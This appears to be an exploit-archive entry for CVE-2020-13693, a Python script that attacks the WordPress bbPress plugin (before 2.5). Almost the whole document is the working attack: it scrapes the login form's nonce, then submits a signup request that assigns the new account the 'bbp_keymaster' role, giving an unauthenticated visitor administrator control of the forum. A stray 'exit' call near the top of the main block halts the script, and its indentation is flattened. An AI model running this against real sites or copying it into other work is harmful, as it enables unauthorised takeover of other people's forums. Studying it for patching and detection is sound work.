WordPress BBPress plugin version 2.5 suffers from an unauthenticated privilege escalation vulnerability.
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# Exploit Title: Wordpress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation
# Date: 2020-05-29
# Exploit Author: Raphael Karger
# Software Link: https://codex.bbpress.org/releases/
# Version: BBPress < 2.5
# CVE: CVE-2020-13693
import argparse
import requests
import bs4
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
useragent = {"User-Agent" : "This is a real browser i swear"}
def grab_nonce_login_page(url):
try:
login_page_request = requests.get(url, verify=False, timeout=10, headers=useragent)
soup = bs4.BeautifulSoup(login_page_request.text, "lxml")
action = soup.find("form", class_="bbp-login-form")
wp_login_page = action.get("action")
wp_nonce = action.find("input", id="_wpnonce").get("value")
return (wp_nonce, wp_login_page)
except Exception as nonce_error:
print("[-] Nonce Error: '{}'".format(nonce_error))
return False
def exploit(url, username, password, email):
info = grab_nonce_login_page(url)
if info:
nonce = info[0]
login_page = info[1]
try:
return requests.post(login_page, data={
"user_login" : username,
"user_pass" : password,
"user_email" : email,
"user-submit" : "",
"user-cookie" : "1",
"_wpnonce" : nonce,
"bbp-forums-role" : "bbp_keymaster"
}, allow_redirects=False, verify=False, timeout=10, headers=useragent)
except Exception as e:
print("[-] Error Making Signup Post Request: '{}'".format(e))
return False
if __name__ == "__main__":
exit("asdasd")
parser = argparse.ArgumentParser()
parser.add_argument("-n", "--username", dest="username", help="Username of Newly Created Keymaster", default="raphaelrocks")
parser.add_argument("-p", "--password", dest="password", help="Password of Newly Created Keymaster", default="raphael123")
parser.add_argument("-e", "--email", dest="email", help="Email of Newly Created Keymaster", default="test@example.com")
parser.add_argument("-u", "--url", dest="url", help="URL of Page With Exposed Register Page.", required=True)
args = parser.parse_args()
site_exploit = exploit(args.url, args.username, args.password, args.email)
if site_exploit and site_exploit.status_code == 302:
exit("[+] Exploit Successful, Use Username: '{}' and Password: '{}'".format(args.username, args.password))
print("[-] Exploit Failed")